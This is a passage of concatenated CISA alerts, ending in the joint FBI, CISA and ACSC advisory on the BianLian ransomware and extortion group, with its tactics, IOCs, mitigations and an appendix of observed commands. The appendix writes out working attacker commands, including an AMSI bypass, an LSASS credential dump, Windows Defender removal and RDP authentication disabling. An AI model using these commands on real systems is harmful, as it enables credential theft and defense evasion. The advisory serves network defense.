cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity. Indicator Removal: Clear Windows Event Logs T1070.001 The actor cleared system event logs to hide activity of an intrusion. Credential Access OS Credential Dumping: NTDS T1003.003 The actor may try to exfiltrate the ntds.dit file and the SYSTEM registry hive out of the network to perform password cracking. Brute Force T1110 The actor attempted to gain access to accounts with multiple password attempts. Brute Force: Password Spraying T1110.003   The actor used commonly used passwords against accounts to attempt to acquire valid credentials. OS Credential Dumping T1003 The actor used additional commands to obtain credentials in the environment. Credentials from Password Stores T1555 The actors searched for common password storage locations. Discovery System Information Discovery T1082 The actors executed commands to gather information about local drives. System Owner/User Discovery T1033 The actors gathered information about successful logons to the host using a PowerShell command. Permission Groups Discovery: Local Groups T1069.001 The actors attempt to find local system groups and permission settings. Permission Groups Discovery: Doman Groups T1069.002 The actors used commands to enumerate the active directory structure. System Network Configuration Discovery T1016 The actors used commands to enumerate the network topology. Command and Control Proxy T1090 The actors used commands to enable port forwarding on the host. Proxy: External Proxy T1090.002 The actors used compromised SOHO devices (e.g. routers) to obfuscate the source of their activity.  

CISA released four Industrial Control Systems (ICS) advisories on May 23, 2023. These advisories provide timely information about current security issues, vulnerabilities, and exploits surrounding ICS.  ICSA-23-143-01 Hitachi Energy AFS65x, AFS67x, AFR67x and AFF66x Products ICSA-23-143-02 Hitachi Energy RTU500 ICSA-23-143-03 Mitsubishi Electric MELSEC Series CPU module ICSA-23-143-04 Horner Automation Cscape CISA encourages users and administrators to review the newly released ICS advisories for technical details and mitigations.

Today, CISA, the Federal Bureau of Investigation (FBI), the National Security Agency (NSA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) published an updated version of the #StopRansomware Guide, as ransomware actors have accelerated their tactics and techniques since its initial release in 2020. The update incorporates lessons learned from the past two years and includes additional recommended actions, resources, and tools to maximize its relevancy and effectiveness and to further help reduce the prevalence and impacts of ransomware. The #StopRansomware Guide serves as a one-stop resource to help organizations reduce the risk of ransomware incidents through best practices to detect, prevent, respond, and recover, including step-by-step approaches to address potential attacks. The authoring organizations recommend that entities review this joint guide to prepare and protect their facilities, personnel, and customers from the impacts of ransomware and data exfiltration. For more information and to access the latest resources about how to stop ransomware, please visit stopransomware.gov. This joint guide was developed through the Joint Ransomware Task Force (JRTF), an interagency collaborative effort to reduce the prevalence and impact of ransomware attacks. JRTF was established by Congress in 2022 and is co-chaired by CISA and FBI. For additional information about the JRTF, please visit CISA's newly launched Joint Ransomware Task Force (JRTF) webpage.

CISA has added three new vulnerabilities to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation. CVE-2023-32409 Apple Multiple Products WebKit Sandbox Escape Vulnerability CVE-2023-28204 Apple Multiple Products WebKit Out-of-Bounds Read Vulnerability CVE-2023-32373 Apple Multiple Products WebKit Use-After-Free Vulnerability These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise. Note: To view other newly added vulnerabilities in the catalog, click on the arrow in the "Date Added to Catalog" column—which will sort by descending dates. Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information. Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.

CISA has added three new vulnerabilities to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation. CVE-2004-1464 Cisco IOS Denial-of-Service Vulnerability CVE-2016-6415 Cisco IOS, IOS XR, and IOS XE IKEv1 Information Disclosure Vulnerability CVE-2023-21492 Samsung Mobile Devices Insertion of Sensitive Information Into Log File Vulnerability These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise. Note: To view other newly added vulnerabilities in the catalog, click on the arrow in the "Date Added to Catalog" column—which will sort by descending dates. Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information. Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.

Cisco released a security advisory to address multiple vulnerabilities affecting the web-based user interface of certain Cisco Small Business Series Switches. A remote attacker could exploit these vulnerabilities to cause a denial-of-service condition or execute arbitrary code with root privileges on an affected device. CISA encourages users and administrators to review the following advisory and apply the necessary updates: •    Cisco Small Business Series Switches Buffer Overflow Vulnerabilities For updates addressing lower severity vulnerabilities, see the Cisco Security Advisories page.  

CISA released five Industrial Control Systems (ICS) advisories on May 16, 2023. These advisories provide timely information about current security issues, vulnerabilities, and exploits surrounding ICS.  ICSA-23-138-01 Carlo Gavazzi Powersoft ICSA-23-138-02 Mitsubishi Electric MELSEC WS ICSA-23-138-03 Hitachi Energy MicroSCADA Pro/X SYS600 ICSA-23-138-04 Johnson Controls OpenBlue Enterprise Manager Data Collector ICSA-20-051-02 Rockwell Automation FactoryTalk Diagnostics Update B   CISA encourages users and administrators to review the newly released ICS advisories for technical details and mitigations.

Summary Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and learn more about other ransomware threats and no-cost resources. The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Australian Cyber Security Centre (ACSC) are releasing this joint Cybersecurity Advisory to disseminate known BianLian ransomware and data extortion group IOCs and TTPs identified through FBI and ACSC investigations as of March 2023. Actions to take today to mitigate cyber threats from BianLian ransomware and data extortion: • Strictly limit the use of RDP and other remote desktop services. • Disable command-line and scripting activities and permissions. • Restrict usage of PowerShell and update Windows PowerShell or PowerShell Core to the latest version. BianLian is a ransomware developer, deployer, and data extortion cybercriminal group that has targeted organizations in multiple U.S. critical infrastructure sectors since June 2022. They have also targeted Australian critical infrastructure sectors in addition to professional services and property development. The group gains access to victim systems through valid Remote Desktop Protocol (RDP) credentials, uses open-source tools and command-line scripting for discovery and credential harvesting, and exfiltrates victim data via File Transfer Protocol (FTP), Rclone, or Mega. BianLian group actors then extort money by threatening to release data if payment is not made. BianLian group originally employed a double-extortion model in which they encrypted victims’ systems after exfiltrating the data; however, around January 2023, they shifted to primarily exfiltration-based extortion. FBI, CISA, and ACSC encourage critical infrastructure organizations and small- and medium-sized organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of BianLian and other ransomware incidents. Download the PDF version of this report (710kb): AA23-136A_StopRansomware_BianLian_Ransomware_Group.pdf (PDF, 644.23 KB ) For a downloadable copy of IOCs (35kb), see: AA23-136A.STIX_.xml (XML, 34.72 KB ) For a downloadable copy of IOCs in JSON format, see AA23-136A.stix.json Technical Details Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 13. See the MITRE ATT&CK® Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® Tactics and Techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool. BianLian is a ransomware developer, deployer, and data extortion cybercriminal group. FBI observed BianLian group targeting organizations in multiple U.S. critical infrastructure sectors since June 2022. In Australia, ACSC has observed BianLian group predominately targeting private enterprises, including one critical infrastructure organization. BianLian group originally employed a double-extortion model in which they exfiltrated financial, client, business, technical, and personal files for leverage and encrypted victims’ systems. In 2023, FBI observed BianLian shift to primarily exfiltration-based extortion with victims’ systems left intact, and ACSC observed BianLian shift exclusively to exfiltration-based extortion. BianLian actors warn of financial, business, and legal ramifications if payment is not made. Initial Access BianLian group actors gain initial access to networks by leveraging compromised Remote Desktop Protocol (RDP) credentials likely acquired from initial access brokers [T1078],[T1133] or via phishing [T1566]. Command and Control BianLian group actors implant a custom backdoor specific to each victim written in Go (see the Indicators of Compromise Section for an example) [T1587.001] and install remote management and access software—e.g., TeamViewer, Atera Agent, SplashTop, AnyDesk—for persistence and command and control [T1105],[T1219]. FBI also observed BianLian group actors create and/or activate local administrator accounts [T1136.001] and change those account passwords [T1098]. Defense Evasion BianLian group actors use PowerShell [T1059.001] and Windows Command Shell [T1059.003] to disable antivirus tools [T1562.001], specifically Windows defender and Anti-Malware Scan Interface (AMSI). BianLian actors modify the Windows Registry [T1112] to disable tamper protection for Sophos SAVEnabled, SEDEenabled, and SAVService services, which enables them to uninstall these services. See Appendix: Windows PowerShell and Command Shell Activity for additional information, including specific commands they have used. Discovery BianLian group actors use a combination of compiled tools, which they first download to the victim environment, to learn about the victim’s environment. BianLian group actors have used: Advanced Port Scanner, a network scanner used to find open ports on network computers and retrieve versions of programs running on the detected ports [T1046]. SoftPerfect Network Scanner (netscan.exe), a network scanner that can ping computers, scan ports, and discover shared folders [T1135]. SharpShares to enumerate accessible network shares in a domain. PingCastle to enumerate Active Directory (AD) [T1482]. PingCastle provides an AD map to visualize the hierarchy of trust relationships. BianLian actors also use native Windows tools and Windows Command Shell to: Query currently logged-in users [T1033]. Query the domain controller to identify: All groups [T1069.002]. Accounts in the Domain Admins and Domain Computers groups [1087.002]. All users in the domain. Retrieve a list of all domain controllers and domain trusts. Identify accessible devices on the network [T1018]. See Appendix: Windows PowerShell and Command Shell Activity for additional information, including specific commands they have used. Credential Access BianLian group uses valid accounts for lateral movement through the network and to pursue other follow-on activity. To obtain the credentials, BianLian group actors use Windows Command Shell to find unsecured credentials on the local machine [T1552.001]. FBI also observed BianLian harvest credentials from the Local Security Authority Subsystem Service (LSASS) memory [T1003.001], download RDP Recognizer (a tool that could be used to brute force RDP passwords or check for RDP vulnerabilities) to the victim system, and attempt to access an Active Directory domain database (NTDS.dit) [T1003.003]. In one case, FBI observed BianLian actors use a portable executable version of an Impacket tool (secretsdump.py) to move laterally to a domain controller and harvest credential hashes from it. Note: Impacket is a Python toolkit for programmatically constructing and manipulating network protocols. Through the Command Shell, an Impacket user with credentials can run commands on a remote device using the Windows management protocols required to support an enterprise network. Threat actors can run portable executable files on victim systems using local user rights, assuming the executable is not blocked by an application allowlist or antivirus solution. See Appendix: Windows PowerShell and Command Shell Activity for additional information. Persistence and Lateral Movement BianLian group actors use PsExec and RDP with valid accounts for lateral movement [T1021.001]. Prior to using RDP, BianLian actors used Command Shell and native Windows tools to add user accounts to the local Remote Desktop Users group, modified the added account’s password, and modified Windows firewall rules to allow incoming RDP traffic [T1562.004]. See Appendix: Windows PowerShell and Command Shell Activity for additional information. In one case, FBI found a forensic artifact (exp.exe) on a compromised system that likely exploits the Netlogon vulnerability (CVE-2020-1472) and connects to a domain controller. Collection FBI observed BianLian group actors using malware (system.exe) that enumerates registry [T1012] and files [T1083] and copies clipboard data from users [T1115]. Exfiltration and Impact BianLian group actors search for sensitive files using PowerShell scripts (See Appendix: Windows PowerShell and Command Shell Activity) and exfiltrate them for data extortion. Prior to January 2023, BianLian actors encrypted files [T1486] after exfiltration for double extortion. BianLian group uses File Transfer Protocol (FTP) [T1048] and Rclone, a tool used to sync files to cloud storage, to exfiltrate data [T1537]. FBI observed BianLian group actors install Rclone and other files in generic and typically unchecked folders such as programdata\vmware and music folders. ACSC observed BianLian group actors use Mega file-sharing service to exfiltrate victim data [T1567.002]. BianLian’s encryptor (encryptor.exe) modified all encrypted files to have the .bianlian extension. The encryptor created a ransom note, Look at this instruction.txt, in each affected directory (see Figure 1 for an example ransom note.) According to the ransom note, BianLian group specifically looked for, encrypted, and exfiltrated financial, client, business, technical, and personal files. Figure 1: BianLian Sample Ransom Note (Look at this instruction.txt) If a victim refuses to pay the ransom demand, BianLian group threatens to publish exfiltrated data to a leak site maintained on the Tor network. The ransom note provides the Tox ID A4B3B0845DA242A64BF17E0DB4278EDF85855739667D3E2AE8B89D5439015F07E81D12D767FC, which does not vary across victims. The Tox ID directs the victim organization to a Tox chat via https://qtox.github[.]io and includes an alternative contact email address (swikipedia@onionmail[.]org or xxx@mail2tor[.]com). The email address is also the same address listed on the group’s Tor site under the contact information section. Each victim company is assigned a unique identifier included in the ransom note. BianLian group receives payments in unique cryptocurrency wallets for each victim company. BianLian group engages in additional techniques to pressure the victim into paying the ransom; for example, printing the ransom note to printers on the compromised network. Employees of victim companies also reported receiving threatening telephone calls from individuals associated with BianLian group. Indicators of Compromise (IOC) See Table 1 for IOCs obtained from FBI investigations as of March 2023. Table 1: BianLian Ransomware and Data Extortion Group IOCs Name SHA-256 Hash Description def.exe 7b15f570a23a5c5ce8ff942da60834a9d0549ea3ea9f34f900a09331325df893 Malware associated with BianLian intrusions, which is an example of a possible backdoor developed by BianLian group. encryptor.exe 1fd07b8d1728e416f897bef4f1471126f9b18ef108eb952f4b75050da22e8e43 Example of a BianLian encryptor. exp.exe 0c1eb11de3a533689267ba075e49d93d55308525c04d6aff0d2c54d1f52f5500 Possible NetLogon vulnerability (CVE-2020-1472) exploitation. system.exe 40126ae71b857dd22db39611c25d3d5dd0e60316b72830e930fba9baf23973ce Enumerates registry and files. Reads clipboard data. MITRE ATT&CK Techniques See Table 2 for all referenced threat actor tactics and techniques in this advisory. Table 2: BianLian Group Actors ATT&CK Techniques for Enterprise Technique Title ID Use Resource Development Develop Capabilities: Malware T1587.001 BianLian group actors developed a custom backdoor used in their intrusions. Initial Access External Remote Services T1133 BianLian group actors used RDP with valid accounts as a means of gaining initial access and for lateral movement. Phishing T1566 BianLian group actors used phishing to obtain valid user credentials for initial access. Valid Accounts T1078 BianLian group actors used RDP with valid accounts as a means of gaining initial access and for lateral movement. Execution Command and Scripting Interpreter: PowerShell T1059.001 BianLian group actors used PowerShell to disable AMSI on Windows. See Appendix: Windows PowerShell and Command Shell Activity for additional information. Command and Scripting Interpreter: Windows Command Shell T1059.003 BianLian group actors used Windows Command Shell to disable antivirus tools, for discovery, and to execute their tools on victim networks. See Appendix: Windows PowerShell and Command Shell Activity for additional information. Scheduled Task/Job: Scheduled Task T1053.005 BianLian group actors used a Scheduled Task run as SYSTEM (the highest privilege Windows accounts) to execute a Dynamic Link Library (DLL) file daily. See Appendix: Windows PowerShell and Command Shell Activity for additional information. Persistence Account Manipulation T1098 BianLian group actors changed the password of an account they created. BianLian actors modified the password of an account they added to the local Remote Desktop Users group. Create Account: Local Account T1136.001 BianLian group actors created/activated a local administrator account. BianLian group actors used net.exe to add a user account to the local Remote Desktop Users group. (See Appendix: Windows PowerShell and Command Shell Activity for more information.) Defense Evasion Modify Registry T1112 BianLian group actors modified the registry to  disable user authentication for RDP connections, allow a user to receive help from Remote Assistance, and disable tamper protection for Sophos SAVEnabled, SEDEenabled, and SAVService services, which enables them to uninstall these services. Impair Defenses: Disable or Modify Tools T1562.001 BianLian group actors disabled Windows defender, AMSI, and Sophos SAVEnabled and SEDEenabled tamper protection services. See Appendix: Windows PowerShell and Command Shell Activity for additional information. Impair Defenses: Disable or Modify System Firewall T1562.004 BianLian group actors added modified firewalls to allow RDP traffic by adding new rules to the Windows firewall that allow incoming RDP traffic and enable a pre-existing Windows firewall rule group named Remote Desktop. Credential Access OS Credential Dumping: LSASS Memory T1003.001 BianLian group actors accessed credential material stored in the process memory of the LSASS. See Appendix: Windows PowerShell and Command Shell Activity for additional information. OS Credential Dumping: NTDS T1003.003 BianLian group actors attempted to access or create a copy of the Active Directory domain database in order to steal credential information and to obtain other information about domain members such as devices, users, and access rights. Unsecured Credentials: Credentials In Files T1552.001 BianLian group actors searched local file systems and remote file shares for files containing insecurely stored credentials. Discovery Account Discovery: Domain Account 1087.002 BianLian group actors queried the domain controller to identify accounts in the Domain Admins and Domain Computers groups. This information can help adversaries determine which domain accounts exist to aid in follow-on activity. Domain Trust Discovery T1482 BianLian group actors used PingCastle to enumerate the AD and map trust relationships. BianLian group actors retrieved a list of domain trust relationships used to identify lateral movement opportunities in Windows multi-domain/forest environments. File and Directory Discovery T1083 BianLian group used malware (system.exe) that enumerates files. Network Service Discovery T1046 BianLian actors used Advanced Port Scanner and SoftPerfect Network Scanner to ping computers, scan ports, and identify program versions running on ports. Network Share Discovery T1135 BianLian actors used SoftPerfect Network Scanner, which can discover shared folders. BianLian group actors used SharpShares to enumerate accessible network shares in a domain. Permission Groups Discovery: Domain Groups T1069.002 BianLian group actors queried the domain controller to identify groups. Query Registry T1012 BianLian group used malware (system.exe) that enumerates registry. Remote System Discovery T1018 BianLian group actors attempted to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement. BianLian group actors retrieved a list of domain controllers. System Owner User Discovery T1033 BianLian group actors queried currently logged-in users on a machine. Lateral Movement Remote Services: Remote Desktop Protocol T1021.001 BianLian group actors used RDP with valid accounts for lateral movement. Collection Clipboard Data T1115 BianLian group actors’ malware collects data stored in the clipboard from users copying information within or between applications. Command and Control Ingress Tool Transfer T1105 BianLian group actors transferred tools or other files from an external system into a compromised environment. Remote Access Software T1219 BianLian group actors used legitimate desktop support and remote access software, such as TeamViewer, Atera, and SplashTop, to establish an interactive command and control channel to target systems within networks. Exfiltration Transfer Data to Cloud Account T1537 BianLian group actors used Rclone to exfiltrate data to a cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection. Exfiltration Over Alternative Protocol T1048 BianLian group actors exfiltrated data via FTP. Exfiltration Over Web Service: Exfiltration to Cloud Storage T1567.002 BianLian group actors exfiltrated data via Mega public file-sharing service. Impact Data Encrypted for Impact T1486 BianLian group actors encrypted data on target systems. Mitigations FBI, CISA, and ACSC recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections. Reduce threat of malicious actors using remote access tools by: Auditing remote access tools on your network to identify currently used and/or authorized software. Reviewing logs for execution of remote access software to detect abnormal use of programs running as a portable executable [CPG 2.T]. Using security software to detect instances of remote access software only being loaded in memory. Requiring authorized remote access solutions only be used from within your network over approved remote access solutions, such as virtual private networks (VPNs) or virtual desktop interfaces (VDIs). Blocking both inbound and outbound connections on common remote access software ports and protocols at the network perimeter. Implement application controls to manage and control execution of software, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation. See NSA Cybersecurity Information sheet Enforce Signed Software Execution Policies for additional guidance. Strictly limit the use of RDP and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]: Audit the network for systems using RDP. Close unused RDP ports. Enforce account lockouts after a specified number of attempts. Apply phishing-resistant multifactor authentication (MFA). Log RDP login attempts. Disable command-line and scripting activities and permissions [CPG 2.N]. Restrict the use of PowerShell, using Group Policy, and only grant to specific users on a case-by-case basis. Typically, only those users or administrators who manage the network or Windows operating systems (OSs) should be permitted to use PowerShell [CPG 2.E]. Update Windows PowerShell or PowerShell Core to the latest version and uninstall all earlier PowerShell versions. Logs from Windows PowerShell prior to version 5.0 are either non-existent or do not record enough detail to aid in enterprise monitoring and incident response activities [CPG 1.E, 2.S, 2.T]. Enable enhanced PowerShell logging [CPG 2.T, 2.U]. PowerShell logs contain valuable data, including historical OS and registry interaction and possible TTPs of a threat actor’s PowerShell use. Ensure PowerShell instances, using the latest version, have module, script block, and transcription logging enabled (enhanced logging). The two logs that record PowerShell activity are the PowerShell Windows Event Log and the PowerShell Operational Log. FBI and CISA recommend turning on these two Windows Event Logs with a retention period of at least 180 days. These logs should be checked on a regular basis to confirm whether the log data has been deleted or logging has been turned off. Set the storage size permitted for both logs to as large as possible. Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec. Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 4.C]. Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E]. Reduce the threat of credential compromise via the following: Place domain admin accounts in the protected users’ group to prevent caching of password hashes locally. Implement Credential Guard for Windows 10 and Server 2016 (Refer to Microsoft: Manage Windows Defender Credential Guard for more information). For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA). Refrain from storing plaintext credentials in scripts. Implement time-based access for accounts set at the admin level and higher [CPG 2.A, 2.E]. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory (AD) level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task. In addition, FBI, CISA, and ACSC recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the impact and risk of compromise by ransomware or data extortion actors: Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, or the cloud). Maintain offline backups of data, and regularly maintain backup and restoration (daily or weekly at minimum). By instituting this practice, an organization minimizes the impact of disruption to business practices as they will not be as severe and/or only have irretrievable data [CPG 2.R]. ACSC recommends organizations follow the 3-2-1 backup strategy in which organizations have three copies of data (one copy of production data and two backup copies) on two different media such as disk and tape, with one copy kept off-site for disaster recovery. Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute for Standards and Technology (NIST) standards for developing and managing password policies. Use longer passwords consisting of at least 15 characters [CPG 2.B]. Store passwords in hashed format using industry-recognized password managers. Add password user “salts” to shared login credentials. Avoid reusing passwords [CPG 2.C]. Implement multiple failed login attempt account lockouts [CPG 2.G]. Disable password “hints”. Refrain from requiring password changes more frequently than once per year.Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher. Require administrator credentials to install software. Require phishing-resistant multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems [CPG 2.H]. Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours from vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E]. Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks, restricting further lateral movement [CPG 2.F]. Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections, as they have insight into common and uncommon network connections for each host [CPG 3.A]. Install, regularly update, and enable real time detection for antivirus software on all hosts. Disable unused ports [CPG 2.V]. Consider adding an email banner to emails received from outside your organization [CPG 2.M]. Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R]. Validate Security Controls In addition to applying mitigations, FBI, CISA, and ACSC recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. FBI, CISA, and ACSC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory. To get started: Select an ATT&CK technique described in this advisory (see Table 2). Align your security technologies against the technique. Test your technologies against the technique. Analyze your detection and prevention technologies’ performance. Repeat the process for all security technologies to obtain a set of comprehensive performance data. Tune your security program, including people, processes, and technologies, based on the data generated by this process. FBI, CISA, and ACSC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory. RESOURCES Stopransomware.gov, a whole-of-government approach with one central location for U.S. ransomware resources and alerts. cyber.gov.au for the Australian Government’s central location to report cyber incidents, including ransomware, and to see advice and alerts. The site also provides ransomware advisories for businesses and organizations to help mitigate cyber threats. CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide for guidance on mitigating and responding to a ransomware attack For no-cost cyber hygiene services for U.S. organizations,  Cyber Hygiene Services and Ransomware Readiness Assessment. Reporting The FBI is seeking any information that can be shared, including boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with BianLian actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. The FBI and CISA do not encourage paying ransom, as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office or CISA at cisa.gov/report. Australian organizations that have been impacted or require assistance in regard to a ransomware incident can contact ACSC via 1300 CYBER1 (1300 292 371) or by submitting a report cyber.gov.au. Acknowledgements Microsoft and Sophos contributed to this advisory. APPENDIX: WINDOWS PowerSHell and COMMAND SHELL ACTIVITY Through FBI investigations as of March 2023, FBI has observed BianLian actors use the commands in Table 3. ACSC has observed BianLian actors use some of the same commands. Table 3: PowerShell and Windows Command Shell Activity Command Use [Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,* Static’).SetValue($null,$true)  Disables the AMSI on Windows. AMSI is a built-in feature on Windows 10 and newer that provides an interface for anti-malware scanners to inspect scripts prior to execution. When AMSI is disabled, malicious scripts may bypass antivirus solutions and execute undetected. cmd.exe /Q /c for /f “tokens=1,2 delims= “ ^%A in (‘”tasklist /fi “Imagename eq lsass.exe” | find “lsass””’) do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ^%B \Windows\Temp\.csv full Creates a memory dump lsass.exe process and saves it as a CSV filehttps://attack.mitre.org/versions/v12/techniques/T1003/001/.  BianLian actors used it to harvest credentials from lsass.exe. cmd.exe /Q /c net user /active:yes 1> \\127.0.0.1\C$\Windows\Temp\ 2>&1 Activates the local Administrator account. cmd.exe /Q /c net user "" 1> \\127.0.0.1\C$\Windows\Temp\ 2>&1 Changes the password of the newly activated local Administrator account. cmd.exe /Q /c quser 1> \\127.0.0.1\C$\Windows\Temp\ 2>&1 Executes quser.exe to query the currently logged-in users on a machine. The command is provided arguments to run quietly and exit upon completion, and the output is directed to the \Windows\Temp directory. dism.exe /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart Using the Deployment Image Servicing and Management (DISM) executable file, removes the Windows Defender feature. dump.exe -no-pass -just-dc user.local/\@ Executes secretsdump.py, a Portable Executable version of an Impacket tool. Used to dump password hashes from domain controllers. exp.exe -n -t Possibly attempted exploitation of the NetLogon vulnerability (CVE-2020-1472). findstr /spin "password" *.* >C:\Users\training\Music\.txt Searches for the string password in all files in the current directory and its subdirectories and puts the output to a file. ldap.exe -u user\ -p ldap:// Connects to the organization’s Lightweight Directory Access Protocol (LDAP) server. logoff Logs off the current user from a Windows session. Can be used to log off multiple users at once. mstsc Launches Microsoft Remote Desktop Connection client application in Windows. net group /domain Retrieves a list of all groups from the domain controller. net group 'Domain Admins' /domain Queries the domain controller to retrieve a list of all accounts from Domain Admins group. net group 'Domain Computers' /domain Queries the domain controller to retrieve a list of all accounts from Domain Computers group. net user /domain Queries the domain controller to retrieve a list of all users in the domain. net.exe localgroup "Remote Desktop Users" /add Adds a user account to the local Remote Desktop Users group. net.exe user /domain Modifies the password for the specified account. netsh.exe advfirewall firewall add rule "name=allow RemoteDesktop" dir=in * protocol=TCP localport= action=allow Adds a new rule to the Windows firewall that allows incoming RDP traffic. netsh.exe advfirewall firewall set rule "group=remote desktop" new enable=Yes Enables the pre-existing Windows firewall rule group named Remote Desktop. This rule group allows incoming RDP traffic. nltest /dclist Retrieves a list of domain controllers. nltest /domain_trusts Retrieves a list of domain trusts. ping.exe -4 -n 1 * Sends a single ICMP echo request packet to all devices on the local network using the IPv4 protocol. The output of the command will show if the device is reachable or not. quser; ([adsisearcher]"(ObjectClass=computer)").FindAll().count;([adsisearcher]"(ObjectClass=user)").FindAll().count;[Security.Principal.WindowsIdentity]::GetCurrent() | select name;net user "$env:USERNAME" /domain; (Get-WmiObject -class Win32_OperatingSystem).Caption; Get-WmiObject -Namespace root\cimv2 -Class Win32_ComputerSystem; net group "domain admins" /domain; nltest /dclist:; nltest /DOMAIN_TRUSTS Lists the current Windows identity for the logged-in user and displays the user's name. Uses the Active Directory Services Interface (ADSI) to search for all computer and user objects in the domain and returns counts of the quantities found. Lists information about the current user account from the domain, such as the user's name, description, and group memberships. Lists information about the operating system installed on the local computer. Lists information about the "Domain Admins" group from the domain. Lists all domain controllers in the domain. Displays information about domain trusts. reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal * Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f Adds/overwrites a new Registry value to disable user authentication for RDP connections. reg.exe add 